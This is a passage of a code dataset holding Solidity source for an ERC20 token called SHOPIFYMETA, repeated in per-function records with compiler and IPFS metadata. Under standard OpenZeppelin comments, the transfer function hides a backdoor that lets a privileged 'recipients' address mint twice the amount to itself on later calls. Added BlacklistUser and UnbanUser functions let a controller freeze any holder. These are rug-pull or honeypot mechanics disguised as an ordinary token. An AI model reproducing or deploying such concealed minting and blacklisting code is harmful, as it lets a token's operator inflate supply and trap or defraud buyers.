_allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 2152, 2284 ] }
1,465
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 2492, 3024 ] }
1,466
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 3082, 3238 ] }
1,467
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function BlacklistUser (address listed) checker external { blacklist[listed]=true; } function UnbanUser (address listed) checker external{ blacklist[listed]=false; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.origin]); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 3380, 3554 ] }
1,468
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have 